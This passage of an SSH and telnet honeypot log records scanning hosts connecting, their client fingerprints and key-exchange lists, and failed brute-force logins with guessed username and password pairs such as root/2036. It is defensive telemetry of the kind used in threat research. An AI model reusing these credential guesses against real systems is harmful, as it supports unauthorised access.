f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:36.025756Z","src_ip":"79.117.24.180","session":"51de4a1c5211","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www-user","message":"login attempt [root/www-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:36.544840Z","src_ip":"79.117.24.180","session":"51de4a1c5211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:37.677122Z","src_ip":"79.117.24.180","session":"51de4a1c5211","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":35608,"dst_ip":"10.17.0.5","dst_port":22,"session":"63cc7f2ae501","protocol":"ssh","message":"New connection: 80.94.92.184:35608 (10.17.0.5:22) [session: 63cc7f2ae501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:39.273012Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.63.254","src_port":38418,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b7a2f958054","protocol":"ssh","message":"New connection: 43.156.63.254:38418 (10.17.0.5:22) [session: 6b7a2f958054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:39.613784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:39.618471Z","src_ip":"43.156.63.254","session":"6b7a2f958054","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:39.670715Z","src_ip":"80.94.92.184","session":"63cc7f2ae501","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:39.674628Z","src_ip":"80.94.92.184","session":"63cc7f2ae501","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.2418155670166,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:39.791143Z","src_ip":"152.42.224.71","session":"7bf5e07d668a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:39.856838Z","src_ip":"43.156.63.254","session":"6b7a2f958054","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:40.481496Z","src_ip":"80.94.92.184","session":"63cc7f2ae501","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2036","message":"login attempt [root/2036] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:40.842915Z","src_ip":"43.156.63.254","session":"6b7a2f958054","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":44978,"dst_ip":"10.17.0.5","dst_port":22,"session":"236a4ff9961b","protocol":"ssh","message":"New connection: 171.244.37.103:44978 (10.17.0.5:22) [session: 236a4ff9961b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:41.793474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:41.798345Z","src_ip":"171.244.37.103","session":"236a4ff9961b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:42.050272Z","src_ip":"171.244.37.103","session":"236a4ff9961b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:42.084127Z","src_ip":"43.156.63.254","session":"6b7a2f958054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:42.106688Z","src_ip":"80.94.92.184","session":"63cc7f2ae501","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"415263","message":"login attempt [root/415263] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:43.087896Z","src_ip":"171.244.37.103","session":"236a4ff9961b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53756,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ae7fe330656","protocol":"telnet","message":"New connection: 152.42.224.71:53756 (10.17.0.5:23) [session: 2ae7fe330656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:43.722105Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:44.341435Z","src_ip":"171.244.37.103","session":"236a4ff9961b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57366,"dst_ip":"10.17.0.5","dst_port":23,"session":"44626eb5a6df","protocol":"telnet","message":"New connection: 152.42.224.71:57366 (10.17.0.5:23) [session: 44626eb5a6df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:47.270933Z"}
{"eventid":"cowrie.session.closed","duration":38.03943610191345,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:51.081744Z","src_ip":"152.42.224.71","session":"954d4fc5a7e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.142.250","src_port":41476,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a169d88eaac","protocol":"ssh","message":"New connection: 43.134.142.250:41476 (10.17.0.5:22) [session: 7a169d88eaac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:52.254917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:52.258462Z","src_ip":"43.134.142.250","session":"7a169d88eaac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:52.495342Z","src_ip":"43.134.142.250","session":"7a169d88eaac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"netwatch@2018","message":"login attempt [root/netwatch@2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:53.477495Z","src_ip":"43.134.142.250","session":"7a169d88eaac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.32.136","src_port":39054,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ebd177221fc","protocol":"ssh","message":"New connection: 43.134.32.136:39054 (159.203.135.109:22) [session: 7ebd177221fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:53.758666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:53.763150Z","src_ip":"43.134.32.136","session":"7ebd177221fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:54.007883Z","src_ip":"43.134.32.136","session":"7ebd177221fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:54.718562Z","src_ip":"43.134.142.250","session":"7a169d88eaac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9999","message":"login attempt [root/9999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:55.019762Z","src_ip":"43.134.32.136","session":"7ebd177221fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:56.267988Z","src_ip":"43.134.32.136","session":"7ebd177221fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55916,"dst_ip":"10.17.0.5","dst_port":23,"session":"80fa2669a3e1","protocol":"telnet","message":"New connection: 152.42.224.71:55916 (10.17.0.5:23) [session: 80fa2669a3e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:59.695647Z"}
{"eventid":"cowrie.session.closed","duration":48.99647092819214,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:04.856277Z","src_ip":"152.42.224.71","session":"a77ca26d44bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49112,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cf70ccd59cc","protocol":"telnet","message":"New connection: 152.42.224.71:49112 (10.17.0.5:23) [session: 9cf70ccd59cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:12.584123Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49120,"dst_ip":"10.17.0.5","dst_port":23,"session":"60384a7ccebc","protocol":"telnet","message":"New connection: 152.42.224.71:49120 (10.17.0.5:23) [session: 60384a7ccebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:13.050000Z"}
{"eventid":"cowrie.session.closed","duration":47.25261306762695,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:20.718149Z","src_ip":"152.42.224.71","session":"5762bbad5404","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38236,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fa34b7f0179","protocol":"telnet","message":"New connection: 152.42.224.71:38236 (10.17.0.5:23) [session: 0fa34b7f0179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:22.522522Z"}
{"eventid":"cowrie.session.closed","duration":59.10923981666565,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:23.483324Z","src_ip":"152.42.224.71","session":"9ca0fdafbed9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59520,"dst_ip":"10.17.0.5","dst_port":23,"session":"748c72715dd6","protocol":"telnet","message":"New connection: 152.42.224.71:59520 (10.17.0.5:23) [session: 748c72715dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:28.501814Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59526,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7d16c345e8c","protocol":"telnet","message":"New connection: 152.42.224.71:59526 (10.17.0.5:23) [session: c7d16c345e8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:30.528762Z"}
{"eventid":"cowrie.session.closed","duration":120.00180149078369,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:30.684216Z","src_ip":"152.42.224.71","session":"2c658c11f523","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.771514654159546,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:33.467030Z","src_ip":"152.42.224.71","session":"80fa2669a3e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59534,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4d874bbeaff","protocol":"telnet","message":"New connection: 152.42.224.71:59534 (10.17.0.5:23) [session: b4d874bbeaff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:34.570963Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37628,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ccfd9331d18","protocol":"telnet","message":"New connection: 152.42.224.71:37628 (10.17.0.5:23) [session: 8ccfd9331d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:36.182468Z"}
{"eventid":"cowrie.session.closed","duration":50.835092306137085,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:38.105915Z","src_ip":"152.42.224.71","session":"44626eb5a6df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.57862114906311,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:38.300618Z","src_ip":"152.42.224.71","session":"2ae7fe330656","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":70.17727422714233,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:38.652140Z","src_ip":"152.42.224.71","session":"7e82ef230182","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.34619688987732,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:38.847918Z","src_ip":"152.42.224.71","session":"748c72715dd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37642,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2b241ef972f","protocol":"telnet","message":"New connection: 152.42.224.71:37642 (10.17.0.5:23) [session: f2b241ef972f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:39.314032Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37650,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b42181a2082","protocol":"telnet","message":"New connection: 152.42.224.71:37650 (10.17.0.5:23) [session: 9b42181a2082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:41.897492Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37666,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d4c11679917","protocol":"telnet","message":"New connection: 152.42.224.71:37666 (10.17.0.5:23) [session: 7d4c11679917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:43.082648Z"}
{"eventid":"cowrie.session.closed","duration":33.31216859817505,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:46.362042Z","src_ip":"152.42.224.71","session":"60384a7ccebc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.842050552368164,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:47.426028Z","src_ip":"152.42.224.71","session":"9cf70ccd59cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.117.24.180","src_port":56402,"dst_ip":"10.17.0.5","dst_port":22,"session":"65a2ae8ac6aa","protocol":"ssh","message":"New connection: 79.117.24.180:56402 (10.17.0.5:22) [session: 65a2ae8ac6aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:50.597081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:45:50.602225Z","src_ip":"79.117.24.180","session":"65a2ae8ac6aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha